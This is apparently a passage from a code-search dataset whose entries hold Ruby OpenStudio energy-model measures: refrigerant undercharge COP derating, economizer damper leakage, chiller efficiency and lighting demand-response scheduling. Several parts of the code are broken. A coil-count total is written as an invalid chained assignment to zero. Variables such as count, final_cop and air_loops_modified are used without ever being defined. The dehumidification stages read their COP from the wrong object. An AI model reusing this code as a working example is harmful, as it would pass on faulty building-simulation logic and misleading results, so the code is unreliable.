number_of_coil_cooling_dx_two_speed_with_humidity_control = 0\n number_of_coil_heating_dx_single_speed = 0\n number_of_coil_cooling_dx_multi_speed = 0\n number_of_water_to_air_heat_pump_cooling_coil = 0\n number_of_water_to_air_heat_pump_heating_coil = 0\n\n # start the do loop for model objects\n model.getModelObjects.each do |model_object|\n # if statement to get single speed Water to Air Heat Pump DX Cooling Coils\n if model_object.to_CoilCoolingWaterToAirHeatPumpEquationFit.is_initialized\n water_to_air_heat_pump_cooling_coil = model_object.to_CoilCoolingWaterToAirHeatPumpEquationFit.get\n coil_name = water_to_air_heat_pump_cooling_coil.name\n # getting the COP\n initial_cop = water_to_air_heat_pump_cooling_coil.ratedCoolingCoefficientofPerformance\n\n # Modified COP values are determined from recent NIST published report for quantifying the effect of refrigerant\n # undercharging - Sensitivity Analysis of Installation Faults on Heat Pump Performance\n # http://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.1848.pdf\n # Spreadsheet analysis of the regression coefficiencts for modeling heating and cooling annual COP\n # degredation were performed. The result predict a degradation of 11.02% of annual COP (for cooling)\n\n # modify the COPs\n modified_cop = (initial_cop * (1 - 0.1102))\n # setting the new name\n water_to_air_heat_pump_cooling_coil.setName(\"#{coil_name} +30 Percent undercharge\")\n # assign the new COP to single speed DX\n water_to_air_heat_pump_cooling_coil.setRatedCoolingCoefficientofPerformance(modified_cop)\n number_of_water_to_air_heat_pump_cooling_coil += 1\n runner.registerInfo(\"Coil Cooling Water To Air Heat Pump Equation Fit object renamed #{coil_name} +30 Percent undercharge has had initial COP value of #{initial_cop} derated to a COP value of #{modified_cop} representing a 30 percent by volume refrigerant undercharge scenario.\")\n end # end the if loop for Water to Air Heat Pump Cooling Coils.\n\n # if statement to get Single Speed Water to Air Heat Pump DX Heating Coils\n if model_object.to_CoilHeatingWaterToAirHeatPumpEquationFit.is_initialized\n water_to_air_heat_pump_heating_coil = model_object.to_CoilHeatingWaterToAirHeatPumpEquationFit.get\n coil_name = water_to_air_heat_pump_heating_coil.name\n # getting the COP\n initial_cop = water_to_air_heat_pump_heating_coil.ratedHeatingCoefficientofPerformance\n\n # Modified COP values are determined from recent NIST published report for quantifying the effect of refrigerant\n # undercharging - Sensitivity Analysis of Installation Faults on Heat Pump Performance\n # http://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.1848.pdf\n # Spreadsheet analysis of the regression coefficiencts for modeling heating and cooling annual COP\n # degredation were performed. The result predict a degradation of 11.02% of annual COP (for cooling)\n\n # modify the COPs\n modified_cop = (initial_cop * (1 - 0.0824))\n # setting the new name\n water_to_air_heat_pump_heating_coil.setName(\"#{coil_name} +30 Percent undercharge\")\n # assign the new COP to single speed DX\n water_to_air_heat_pump_heating_coil.setRatedHeatingCoefficientofPerformance(modified_cop)\n number_of_water_to_air_heat_pump_heating_coil += 1\n runner.registerInfo(\"Coil Heating Water To Air Heat Pump Equation Fit object renamed #{coil_name} +30 Percent undercharge has had initial COP value of #{initial_cop} derated to a COP value of #{modified_cop} representing a 30 percent by volume refrigerant undercharge scenario.\")\n end # end the if loop for Water to Air Heat Pump Cooling Coils.\n\n # if statement to get single speed DX coils\n if model_object.to_CoilCoolingDXSingleSpeed.is_initialized\n coil_cooling_dx_single_speed = model_object.to_CoilCoolingDXSingleSpeed.get\n coil_name = coil_cooling_dx_single_speed.name\n if coil_cooling_dx_single_speed.ratedCOP.is_initialized\n # getting the COP\n initial_cop = coil_cooling_dx_single_speed.ratedCOP.get\n end # end the if loop for COP\n\n # Modified COP values are determined from recent NIST published report for quantifying the effect of refrigerant\n # undercharging - Sensitivity Analysis of Installation Faults on Heat Pump Performance\n # http://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.1848.pdf\n # Spreadsheet analysis of the regression coefficiencts for modeling heating and cooling annual COP\n # degredation were performed. The result predict a degradation of 11.02% of annual COP (for cooling)\n\n # modify the COPs\n modified_cop = (initial_cop * (1 - 0.1102))\n # setting the new name\n coil_cooling_dx_single_speed.setName(\"#{coil_name} +30 Percent undercharge\")\n # assign the new COP to single speed DX\n coil_cooling_dx_single_speed.setRatedCOP(OpenStudio::OptionalDouble.new(modified_cop))\n number_of_coil_cooling_dx_single_speed += 1\n runner.registerInfo(\"Single Speed DX Cooling Coil object renamed #{coil_name} +30 Percent undercharge had initial COP value of #{initial_cop} derated to a COP value of #{modified_cop} representing a 30 percent by volume refrigerant undercharge scenario.\")\n end # end the if loop for DX single speed cooling coils\n\n # if statement to get 2 speed DX coils\n if model_object.to_CoilCoolingDXTwoSpeed.is_initialized\n coil_cooling_dx_two_speed = model_object.to_CoilCoolingDXTwoSpeed.get\n coil_name = coil_cooling_dx_two_speed.name\n if coil_cooling_dx_two_speed.ratedHighSpeedCOP.is_initialized\n # get high speed COP\n initial_high_speed_cop = coil_cooling_dx_two_speed.ratedHighSpeedCOP.get\n end # end if statement for high speed COP\n if coil_cooling_dx_two_speed.ratedLowSpeedCOP.is_initialized\n # get low speed COP\n initial_low_speed_cop = coil_cooling_dx_two_speed.ratedLowSpeedCOP.get\n end # end if statement for low speed COP\n\n # modify high & low speed COP\n modified_high_speed_cop = (initial_high_speed_cop * (1 - 0.1102))\n modified_low_speed_cop = (initial_low_speed_cop * (1 - 0.1102))\n\n # set the new COPs\n coil_cooling_dx_two_speed.setName(\"#{coil_name} +30 Percent undercharge\")\n coil_cooling_dx_two_speed.setRatedHighSpeedCOP(modified_high_speed_cop)\n coil_cooling_dx_two_speed.setRatedLowSpeedCOP(modified_low_speed_cop)\n\n number_of_coil_cooling_dx_two_speed += 1\n runner.registerInfo(\"Two Speed DX Cooling Coil object renamed #{coil_name} +30 Percent undercharge had initial high speed COP value of #{initial_high_speed_cop} derated to a COP value of #{modified_high_speed_cop} and an initial lowspeed COP value of #{initial_low_speed_cop} derated to a COP value of #{modified_low_speed_cop} representing a 30 percent by volume refrigerant undercharge scenario.\")\n end # end 2 speed cooling coil if statement\n\n # if statement for heating coil single speed\n if model_object.to_CoilHeatingDXSingleSpeed.is_initialized\n coil_heating_dx_single_speed = model_object.to_CoilHeatingDXSingleSpeed.get\n coil_name = coil_heating_dx_single_speed.name\n # get the initial COP\n initial_cop = coil_heating_dx_single_speed.ratedCOP\n\n # Modified COP values are determined from recent NIST published report for quantifying the effect of refrigerant\n # undercharging - Sensitivity Analysis of Installation Faults on Heat Pump Performance\n # http://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.1848.pdf\n # Spreadsheet analysis of the regression coefficiencts for modeling heating and cooling annual COP\n # degredation were performed. The result predict a degradation of 11.02% of annual COP (for cooling)\n\n # modify the COP\n modified_cop = (initial_cop * (1 - 0.0824))\n coil_heating_dx_single_speed.setName(\"#{coil_name} +30 Percent undercharge\")\n coil_heating_dx_single_speed.setRatedCOP(modified_cop)\n number_of_coil_heating_dx_single_speed += 1\n runner.registerInfo(\"Single Speed DX Heating Coil object renamed #{coil_name} +30 Percent undercharge had initial COP value of #{initial_cop} derated to a COP value of #{modified_cop} representing a 30 percent by volume refrigerant undercharge scenario.\")\n end # end if statemen for heating coil single speed\n\n # if statement for cooling coil DX 2 stage with humidity control mode\n if model_object.to_CoilCoolingDXTwoStageWithHumidityControlMode.is_initialized\n coil_cooling_two_stage_with_humidity_control_mode = model_object.to_CoilCoolingDXTwoStageWithHumidityControlMode.get\n coil_name = coil_cooling_two_stage_with_humidity_control_mode.name\n\n # modification of the coil\n if coil_cooling_two_stage_with_humidity_control_mode.normalModeStage1CoilPerformance.is_initialized\n normal_mode_stage_1 = coil_cooling_two_stage_with_humidity_control_mode.normalModeStage1CoilPerformance.get\n normal_mode_stage_1_initial_COP = normal_mode_stage_1.grossRatedCoolingCOP\n normal_mode_stage_1_modified_COP = (normal_mode_stage_1_initial_COP * (1 - 0.1102))\n normal_mode_stage_1.setGrossRatedCoolingCOP(normal_mode_stage_1_modified_COP)\n end # end the modification if statement\n\n # if statement for plus 2 coil performance\n if coil_cooling_two_stage_with_humidity_control_mode.normalModeStage1Plus2CoilPerformance.is_initialized\n normal_mode_stage_1_plus_2 = coil_cooling_two_stage_with_humidity_control_mode.normalModeStage1Plus2CoilPerformance.get\n normal_mode_stage_1_plus_2_initial_COP = normal_mode_stage_1_plus_2.grossRatedCoolingCOP\n normal_mode_stage_1_plus_2_modified_COP = (normal_mode_stage_1_plus_2_initial_COP * (1 - 0.1102))\n normal_mode_stage_1_plus_2.setGrossRatedCoolingCOP(normal_mode_stage_1_plus_2_modified_COP)\n end # end of plus 2 coil performance if statement\n\n # if statement for dehumidificationMode1Stage1CoilPerformance\n if coil_cooling_two_stage_with_humidity_control_mode.dehumidificationMode1Stage1CoilPerformance.is_initialized\n dehumid_mode_stage_1 = coil_cooling_two_stage_with_humidity_control_mode.dehumidificationMode1Stage1CoilPerformance.get\n dehumid_mode_stage_1_initial_COP = normal_mode_stage_1_plus_2.grossRatedCoolingCOP\n dehumid_mode_stage_1_modified_COP = (dehumid_mode_stage_1_initial_COP * (1 - 0.1102))\n dehumid_mode_stage_1.setGrossRatedCoolingCOP(dehumid_mode_stage_1_modified_COP)\n end # end of dehumidificationMode1Stage1CoilPerformance\n\n # if statement for dehumidificationMode1Stage1Plus2CoilPerformance\n if coil_cooling_two_stage_with_humidity_control_mode.dehumidificationMode1Stage1Plus2CoilPerformance.is_initialized\n dehumid_mode_stage_1_plus_2 = coil_cooling_two_stage_with_humidity_control_mode.dehumidificationMode1Stage1Plus2CoilPerformance.get\n dehumid_mode_stage_1_plus_2_initial_COP = normal_mode_stage_1_plus_2.grossRatedCoolingCOP\n dehumid_mode_stage_1_plus_2_modified_COP = (dehumid_mode_stage_1_plus_2_initial_COP * (1 - 0.1102))\n dehumid_mode_stage_1_plus_2.setGrossRatedCoolingCOP(dehumid_mode_stage_1_plus_2_modified_COP)\n end # end for dehumidificationMode1Stage1Plus2CoilPerformance\n\n # info messages\n runner.registerInfo(\"Two Stage DX Cooling Coil with humidity control renamed #{coil_name} + 30 percent undercharge.\")\n runner.registerInfo(\"Normal Mode Stage 1 modified with initial COP value of #{normal_mode_stage_1_initial_COP} derated to a COP value of #{normal_mode_stage_1_modified_COP}.\")\n runner.registerInfo(\"Normal Mode Stage 1 plus 2 modified with initial COP value of #{normal_mode_stage_1_plus_2_initial_COP} derated to a COP value of #{normal_mode_stage_1_plus_2_modified_COP}.\")\n runner.registerInfo(\"Dehumidification Mode Stage 1 modified with initial COP value of #{dehumid_mode_stage_1_initial_COP} derated to a COP value of #{dehumid_mode_stage_1_modified_COP}.\")\n runner.registerInfo(\"Dehumidification Mode Stage 1 plus 2 modified with initial COP value of #{dehumid_mode_stage_1_plus_2_initial_COP} derated to a value of #{dehumid_mode_stage_1_plus_2_modified_COP}.\")\n\n number_of_coil_cooling_dx_two_speed_with_humidity_control += 1\n\n end # end the cooling coil DX 2 stage with humidity control loop\n\n # if statement for Cooling coil multispeed coil\n if model_object.to_CoilCoolingDXMultiSpeed.is_initialized\n coil_cooling_dx_multispeed = model_object.to_CoilCoolingDXMultiSpeed.get\n coil_name = coil_cooling_dx_multispeed.name\n dx_stages = coil_cooling_dx_multispeed.stages\n # do loop for getting COP\n dx_stages.each do |dx_stage|\n count += 1\n initial_cop = dx_stage.grossRatedCoolingCOP\n modified_cop = (initial_cop * (1 - 0.1102)) # modify the COP\n dx_stage.setGrossRatedCoolingCOP(modified_cop)\n runner.registerInfo(\"Stage #{count} of Multispeed DX Cooling coil named #{coil_name} had the initial COP value of #{initial_cop} derated to a value of #{final_cop} to represent a 30 percent refrigerant undercharge scenario.\")\n end # end loop through dx stages\n number_of_coil_cooling_dx_multi_speed += 1\n end # end loop through to_CoilCoolingDXMultiSpeed objects\n end # end loop through all model objects\n\n # total number of coils in the model\n total = number_of_water_to_air_heat_pump_heating_coil + number_of_water_to_air_heat_pump_cooling_coil + number_of_coil_cooling_dx_single_speed + number_of_coil_cooling_dx_two_speed + number_of_coil_cooling_dx_two_speed_with_humidity_control + number_of_coil_heating_dx_single_speed + number_of_coil_cooling_dx_multi_speed = 0\n\n # non applicable message\n if total == 0\n runner.registerAsNotApplicable('No qualified DX cooling or heating objects are present in this model. The measure is not applicable.')\n return true\n end\n runner.registerInitialCondition(\"The measure began with #{total} objects which can be modified to represent a 30% refrigerant undercharge condition.\")\n runner.registerFinalCondition(\"The measure modified #{number_of_coil_cooling_dx_single_speed} Coil Cooling DX Single Speed Objects, #{number_of_coil_cooling_dx_two_speed} Coil Cooling DX Two Speed Objects, #{number_of_coil_cooling_dx_two_speed_with_humidity_control} Coil Cooling DX Two Speed with Humidity Control Objects, #{number_of_coil_heating_dx_single_speed} Coil Heating DX Single Speed Objects, #{number_of_water_to_air_heat_pump_heating_coil} Water to Air Heat Puump DX heating coils, #{number_of_water_to_air_heat_pump_cooling_coil} Water to Air Heat Pump cooling coils and #{number_of_coil_cooling_dx_multi_speed} Coil Cooling DX MultiSpeed objects.\")\n\t\trunner.registerValue('number_of_modified_coils', air_loops_modified.size)\n\t\treturn true\n end", "title": "" }, { "docid": "6ecaf3a02cedd642b41c72947e7325eb", "score": "0.5935655", "text": "def run(model, runner, user_arguments)\n\t\tsuper(model, runner, user_arguments)\n\t\t\n\t\t# define neat numbers\t\n\t\tdef neat_numbers(number, roundto = 2) #round to 0 or 2)\n\t\t\tif roundto == 2\n\t\t\t\tnumber = sprintf \"%.2f\", number\n\t\t\t\telse\n\t\t\t\tnumber = number.round\n\t\t\tend\n\t\t\t#regex to add commas\n\t\t\tnumber.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n\t\tend #end def neat_numbers\n\t\t\n\t\t# use the built-in error checking\n\t\tif !runner.validateUserArguments(arguments(model), user_arguments)\n\t\t\treturn false\n\t\tend\n\t\t\n # Report that this is an anti-measure\n runner.registerValue('anti_measure',true)\n \n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\t\t#initializing variables\n\t\tsizing_run_required_counter = 0\n\t\tinitial_oa_controller_array = []\n\t\teconomizer_array_true = []\n\t\teconomizer_array_false = []\n\t\teconomizer_settings_changed_count = 0\n\t\t#create new constant 'always ON' schedule object\n\t\talways_on = model.alwaysOnDiscreteSchedule\n\t\t\n\t\t# determine if autosizing is needed\n\t\t\t# if any minimum OA air flow rate attribute to a OA controller object is set to autosized\n\t\t# we will need to run a sizing run\n\t\tmodel.getAirLoopHVACs.each do |loop|\n\t\t\toa_air_sys = loop.airLoopHVACOutdoorAirSystem.get \n\t\t\t@initial_oa_controller = oa_air_sys.getControllerOutdoorAir\n\t\t\tmax_oa_autosize_status = @initial_oa_controller.isMaximumOutdoorAirFlowRateAutosized\n\t\t\t@econ_control_type_initial = @initial_oa_controller.getEconomizerControlType\n\t\t\tif @econ_control_type_initial != \"NoEconomizer\"\n\t\t\t\tif max_oa_autosize_status == true\n\t\t\t\t\tsizing_run_required_counter +=1\n\t\t\t\tend # end the min_oa_autosize if statement\n\t\t\tend\t # end control type if statement\n\t\tend # end the do loop through airloops\n\t\t# execute the sizing run\n\t\tif sizing_run_required_counter !=0\n\t\t\tif model.runSizingRun(\"#{Dir.pwd}/SizingRun\") == false\n\t\t\t\trunner.registerError(\"Sizing Run for determining the autosizing of maximum OA flow rate '#{@initial_oa_controller.name}' failed to complete - check eplusout.err to debug.\")\n\t\t\t\treturn false\n\t\t\t\telse \n\t\t\t\trunner.registerInfo(\"A sizing run for determining maximum OA flow rate '#{@initial_oa_controller.name}' completed - look in folder #{Dir.pwd}/SizingRun for results.\")\n\t\t\tend # end model.sizing run if statement\n\t\tend # end the sizing run\n\t\t# set the value of min_oa_flow for autosized or hardsized conditions\n\t\tall_airloops = model.getAirLoopHVACs\n\t\tall_airloops.each do |loop|\n\t\t\toa_air_sys = loop.airLoopHVACOutdoorAirSystem.get \n\t\t\t# get OA controllers\n\t\t\t@initial_oa_controller = oa_air_sys.getControllerOutdoorAir\n\t\t\tinitial_oa_controller_array << @initial_oa_controller # array for all controllers\n\t\t\t@econ_control_type_initial = @initial_oa_controller.getEconomizerControlType\n\t\t\t# if condition if control type is not equal to 'noEconomizer'\n\t\t\tif @econ_control_type_initial != \"NoEconomizer\"\n\t\t\t\teconomizer_array_true << @initial_oa_controller\n\t\t\t\t# check autosizing for maximum OA air flowrate\t\n\t\t\t\tmax_oa_autosize_status = @initial_oa_controller.isMaximumOutdoorAirFlowRateAutosized\n\t\t\t\t# if condition when status is true\n\t\t\t\tif max_oa_autosize_status == true\n\t\t\t\t\tautosized_max_oa_rate = @initial_oa_controller.autosizedMaximumOutdoorAirFlowRate.get\n\t\t\t\t\t# convert existing CFM into IP unit\n\t\t\t\t\texisting_cfm = OpenStudio.convert(autosized_max_oa_rate,\"m^3/s\",\"cfm\")\n\t\t\t\t\texisting_cfm = neat_numbers(existing_cfm,2)\n\t\t\t\t\t# Setting minimum OA flow rate equals to 10% of autosized max OA rate\n\t\t\t\t\tnew_value_OA = 0.1 * autosized_max_oa_rate\n\t\t\t\t\t#conversion\n\t\t\t\t\tnew_cfm = OpenStudio.convert(new_value_OA,\"m^3/s\",\"cfm\")\n\t\t\t\t\tnew_cfm = neat_numbers(new_cfm,2)\n\t\t\t\t\t#assign the new value for min OA air flow\n\t\t\t\t\t@initial_oa_controller.setMinimumOutdoorAirFlowRate(new_value_OA)\n\t\t\t\t\t# assign the new schedule = always ON\n\t\t\t\t\t@initial_oa_controller.setMinimumOutdoorAirSchedule(always_on)\n\t\t\t\t\teconomizer_settings_changed_count +=1\n\t\t\t\t\trunner.registerInfo(\"The airloop '#{loop.name}' with OA controller named '#{@initial_oa_controller.name}' has had a minimum OA rate set to #{new_cfm} from #{existing_cfm}.\")\n\t\t\t\telse\n\t\t\t\t\t# testing to see if maximum OA flow rate is empty\n\t\t\t\t\tif @initial_oa_controller.maximumOutdoorAirFlowRate.is_initialized\n\t\t\t\t\t\tinit_max_oa_rate = @initial_oa_controller.maximumOutdoorAirFlowRate.get\t\n\t\t\t\t\t\t# convert existing CFM into IP unit\n\t\t\t\t\t\texisting_cfm = OpenStudio.convert(init_max_oa_rate,\"m^3/s\",\"cfm\")\n\t\t\t\t\t\texisting_cfm = neat_numbers(existing_cfm,2)\n\t\t\t\t\tend\t\n\t\t\t\t\t# Setting minimum OA flow rate equals to 10% of autosized max OA rate\n\t\t\t\t\tnew_value_OA = init_max_oa_rate * 0.1\n\t\t\t\t\tnew_cfm = OpenStudio.convert(new_value_OA,\"m^3/s\",\"cfm\")\n\t\t\t\t\tnew_cfm = neat_numbers(new_cfm,2)\n\t\t\t\t\t# assign new values & schedules\n\t\t\t\t\t@initial_oa_controller.setMinimumOutdoorAirFlowRate(new_value_OA)\n\t\t\t\t\t@initial_oa_controller.setMinimumOutdoorAirSchedule(always_on)\n\t\t\t\t\trunner.registerInfo(\"the OA controller named '#{@initial_oa_controller.name}' has had a minimum OA rate set to #{new_cfm} from #{existing_cfm}.\")\n\t\t\t\t\teconomizer_settings_changed_count += 1\n\t\t\t\tend # end if max autosize equal true \n\t\t\telse\n\t\t\t\teconomizer_array_false << @initial_oa_controller\n\t\t\tend # end if @econ_control_type_initial != \"NoEconomizer\"\n\t\t\t\t\n\t\tend # end the do loop through all airloops\n\t\t\n\t\t# report N/A condition of model\n\t\tif economizer_settings_changed_count == 0\n\t\t\trunner.registerAsNotApplicable(\"The model contains no OA controllers which are currently configured for operable economizer controls. This measure is not applicable.\")\n\t\t\treturn true\n\t\tend\n\t\t\n\t\t# report initial condition of model\n\t\trunner.registerInitialCondition(\"The initial model contained #{all_airloops.length} airloops with #{initial_oa_controller_array.length} Outdoor Air Controller objects. The measure is applicable for #{economizer_array_true.length} objects with functioning economizer controls.\")\n\t\t\n\t\t# report final condition of model\n\t\trunner.registerFinalCondition(\"A continuous outdoor air damper leakage condition representing poor damper/actuator control has been applied to #{economizer_array_true.length} Outdoor Air Controllers. There are #{economizer_array_false.length} objects with control type = 'no economizer'.\")\n\t\t\n\tend", "title": "" }, { "docid": "b38c6c383bb339c0d024ba603a6f51c1", "score": "0.5935636", "text": "def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n\r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n\r\n # Determine if the measure is applicable to the model, if not just return and no changes are made.\r\n info_widget = runner.getOptionalWorkspaceObjectChoiceValue(\"info_widget\",user_arguments,model)\r\n if not (info_widget.nil? or info_widget.empty?)\r\n runner.registerInfo(\"This measure is not applicable.\")\r\n return true\r\n end\r\n\r\n #assign the user inputs to variables\r\n chiller_widget = runner.getOptionalWorkspaceObjectChoiceValue(\"chiller_widget\",user_arguments,model)\r\n\r\n handle = runner.getStringArgumentValue(\"chiller_widget\",user_arguments)\r\n chiller_index = handle.to_i\r\n\r\n # #assign the user inputs to variables\r\n chiller_thermal_efficiency = runner.getDoubleArgumentValue(\"chiller_thermal_efficiency\",user_arguments)\r\n\r\n #ruby test to see if efficient is greater than 0\r\n if chiller_thermal_efficiency < 0 # or chiller_thermal_efficiency > 20 #error on impossible values\r\n runner.registerError(\"Chiller COP must be greater than 0. You entered #{chiller_thermal_efficiency}.\")\r\n return false\r\n end\r\n\r\n changeThermalEfficiency(model, chiller_index, chiller_thermal_efficiency, runner)\r\n\r\n return true\r\n \r\n end", "title": "" }, { "docid": "c7cf538a6224584af102cc9076330a21", "score": "0.5933117", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # define if the measure should run accordingly to different space type or evenly on the entire building\n # define if the measure should run to a specific time period or whole day\n apply_to_time = true\n\n # assign the user inputs to variables\n object = runner.getOptionalWorkspaceObjectChoiceValue('space_type', user_arguments, model)\n single_space_type = runner.getDoubleArgumentValue('single_space_type', user_arguments)\n occupied_space_type = runner.getDoubleArgumentValue('occupied_space_type', user_arguments)\n unoccupied_space_type = runner.getDoubleArgumentValue('unoccupied_space_type', user_arguments)\n starttime = runner.getStringArgumentValue('starttime', user_arguments)\n endtime = runner.getStringArgumentValue('endtime', user_arguments)\n demo_cost_initial_const=false\n\n # check the lighting power reduction percentages and for reasonableness\n if occupied_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Lighting Power Reduction Percentage.')\n return false\n elsif occupied_space_type == 0\n runner.registerInfo('No lighting power adjustment requested, but some life cycle costs may still be affected.')\n elsif (occupied_space_type < 1) && (occupied_space_type > -1)\n runner.registerWarning(\"A Lighting Power Reduction Percentage of #{occupied_space_type} percent is abnormally low.\")\n elsif occupied_space_type > 90\n runner.registerWarning(\"A Lighting Power Reduction Percentage of #{occupied_space_type} percent is abnormally high.\")\n elsif occupied_space_type < 0\n runner.registerInfo('The requested value for lighting power reduction percentage was negative. This will result in an increase in lighting power.')\n end\n\n # check the lighting_power_reduction_percent and for reasonableness\n if unoccupied_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Lighting Power Reduction Percentage.')\n return false\n elsif unoccupied_space_type == 0\n runner.registerInfo('No lighting power adjustment requested, but some life cycle costs may still be affected.')\n elsif (unoccupied_space_type < 1) && (unoccupied_space_type > -1)\n runner.registerWarning(\"A Lighting Power Reduction Percentage of #{unoccupied_space_type} percent is abnormally low.\")\n elsif unoccupied_space_type > 90\n runner.registerWarning(\"A Lighting Power Reduction Percentage of #{unoccupied_space_type} percent is abnormally high.\")\n elsif unoccupied_space_type < 0\n runner.registerInfo('The requested value for lighting power reduction percentage was negative. This will result in an increase in lighting power.')\n end\n\n # check the lighting_power_reduction_percent and for reasonableness\n if single_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Lighting Power Reduction Percentage.')\n return false\n elsif single_space_type == 0\n runner.registerInfo('No lighting power adjustment requested, but some life cycle costs may still be affected.')\n elsif (single_space_type < 1) && (single_space_type > -1)\n runner.registerWarning(\"A Lighting Power Reduction Percentage of #{single_space_type} percent is abnormally low.\")\n elsif single_space_type > 90\n runner.registerWarning(\"A Lighting Power Reduction Percentage of #{single_space_type} percent is abnormally high.\")\n elsif single_space_type < 0\n runner.registerInfo('The requested value for lighting power reduction percentage was negative. This will result in an increase in lighting power.')\n end\n\n # check the time periods for reasonableness\n if starttime.to_f > endtime.to_f\n runner.registerError('The end time should be larger than the start time.')\n return false\n end\n\n space_type = nil\n if object.empty?\n handle = runner.getStringArgumentValue('space_type', user_arguments)\n if handle.empty?\n runner.registerError('No space type was chosen.')\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !object.get.to_SpaceType.empty?\n space_type = object.get.to_SpaceType.get\n elsif !object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError('Script Error - argument not showing up as space type or building.')\n return false\n end\n end\n\n # assign the time duration when DR strategy is applied, from shift_time1 to shift_time2, only applied when apply_to_time is ture\n shift_time1 = OpenStudio::Time.new(starttime)\n shift_time2 = OpenStudio::Time.new(endtime)\n shift_time3 = OpenStudio::Time.new(0, 24, 0, 0)\n\n \n # get space types in model\n if apply_to_building\n space_types = model.getSpaceTypes\n else\n space_types = []\n space_types << space_type # only run on a single space type\n end\n\n # make a hash of old defs and new lights and luminaire defs\n cloned_lights_defs = {}\n cloned_luminaire_defs = {}\n # loop through space types\n space_types.each do |space_type|\n lgt_set_schs = {}\n if apply_to_building # measure will be applied differently to space types, based on whether the space type is occupied\n if !space_type.people.empty?\n lighting_power_reduction_percent = occupied_space_type/100\n else\n lighting_power_reduction_percent = unoccupied_space_type/100\n end\n runner.registerInitialCondition(\" lighting power will be reduced by #{occupied_space_type}% in occupied spaces, and reduced by #{unoccupied_space_type}% in unoccupied spaces\")\n\n else\n lighting_power_reduction_percent = single_space_type/100 # measure will be applied evenly to all zones\n runner.registerInitialCondition(\" lighting power will be reduced by #{single_space_type}% to '#{space_type.name}'.\")\n end\n\n space_type_lights = space_type.lights\n space_type_lights.each do |space_type_light|\n #clone of not already in hash\n lgt_set_sch = space_type_light.schedule\n if !lgt_set_sch.empty?\n # clone of not already in hash\n if lgt_set_schs.key?(lgt_set_sch.get.name.to_s)\n new_lgt_set_sch = lgt_set_schs[lgt_set_sch.get.name.to_s]\n else\n new_lgt_set_sch = lgt_set_sch.get.clone(model)\n new_lgt_set_sch = new_lgt_set_sch.to_Schedule.get\n new_lgt_set_sch_name = new_lgt_set_sch.setName(\"#{new_lgt_set_sch.name} adjusted #{lighting_power_reduction_percent}\")\n # add to the hash\n lgt_set_schs[new_lgt_set_sch.name.to_s] = new_lgt_set_sch\n end\n # hook up clone to lighting\n space_type_light.setSchedule(new_lgt_set_sch)\n else\n runner.registerWarning(\"#{space_type.lights.name} doesn't have a schedule.\")\n end\n end\n \n if apply_to_time\n runner.registerFinalCondition(\" lighting power is reduced from #{shift_time1} to #{shift_time2}.\")\n else\n runner.registerFinalCondition(\" lighting power is reduced all day.\")\n end\n\n \n # make light schedule adjustments and rename.\n lgt_set_schs.each do |k, v| # old name and new object for schedule\n if !v.to_ScheduleRuleset.empty?\n\n # array to store profiles in\n profiles = []\n schedule = v.to_ScheduleRuleset.get\n\n # push default profiles to array\n default_rule = schedule.defaultDaySchedule\n profiles << default_rule\n\n # push profiles to array\n rules = schedule.scheduleRules\n rules.each do |rule|\n day_sch = rule.daySchedule\n profiles << day_sch\n end\n profiles.each do |sch_day|\n day_time_vector = sch_day.times\n day_value_vector = sch_day.values\n sch_day.clearValues\n count = 0\n \n if apply_to_time \n for i in 0..(day_time_vector.size - 1)\n if day_time_vector[i]>shift_time1&&day_time_vector[i]<shift_time2 && count == 0\n target_temp_si = day_value_vector[i]*lighting_power_reduction_percent\n sch_day.addValue(shift_time1, day_value_vector[i])\n sch_day.addValue(day_time_vector[i],target_temp_si)\n count = 1\n elsif day_time_vector[i]==shift_time2 && count == 0\n target_temp_si = day_value_vector[i]*lighting_power_reduction_percent\n sch_day.addValue(shift_time1, day_value_vector[i])\n sch_day.addValue(day_time_vector[i],target_temp_si)\n count = 2\n elsif day_time_vector[i]==shift_time1 && count == 0\n target_temp_si = day_value_vector[i]\n sch_day.addValue(day_time_vector[i], target_temp_si)\n count = 1\n elsif day_time_vector[i]==shift_time2 && count == 0\n target_temp_si = day_value_vector[i]*lighting_power_reduction_percent\n sch_day.addValue(shift_time1, day_value_vector[i])\n sch_day.addValue(day_time_vector[i],target_temp_si)\n count = 2\n elsif day_time_vector[i]>shift_time2 && count == 0\n target_temp_si = day_value_vector[i]*lighting_power_reduction_percent\n sch_day.addValue(shift_time1,day_value_vector[i])\n sch_day.addValue(shift_time2,target_temp_si)\n sch_day.addValue(day_time_vector[i],day_value_vector[i])\n count = 2\n elsif day_time_vector[i]>shift_time1 && day_time_vector[i]<shift_time2 && count==1\n target_temp_si = day_value_vector[i]*lighting_power_reduction_percent\n sch_day.addValue(day_time_vector[i], target_temp_si)\n elsif day_time_vector[i]==shift_time2 && count==1\n target_temp_si = day_value_vector[i]*lighting_power_reduction_percent\n sch_day.addValue(day_time_vector[i], target_temp_si)\n count = 2\n elsif day_time_vector[i]>shift_time2 && count == 1\n target_temp_si = day_value_vector[i]*lighting_power_reduction_percent\n sch_day.addValue(shift_time2, target_temp_si)\n sch_day.addValue(day_time_vector[i],day_value_vector[i])\n count = 2 \n else \n target_temp_si = day_value_vector[i]\n sch_day.addValue(day_time_vector[i], target_temp_si)\n end\n end\n else\n for i in 0..(day_time_vector.size - 1)\n target_temp_si = day_value_vector[i]*lighting_power_reduction_percent\n sch_day.addValue(day_time_vector[i], 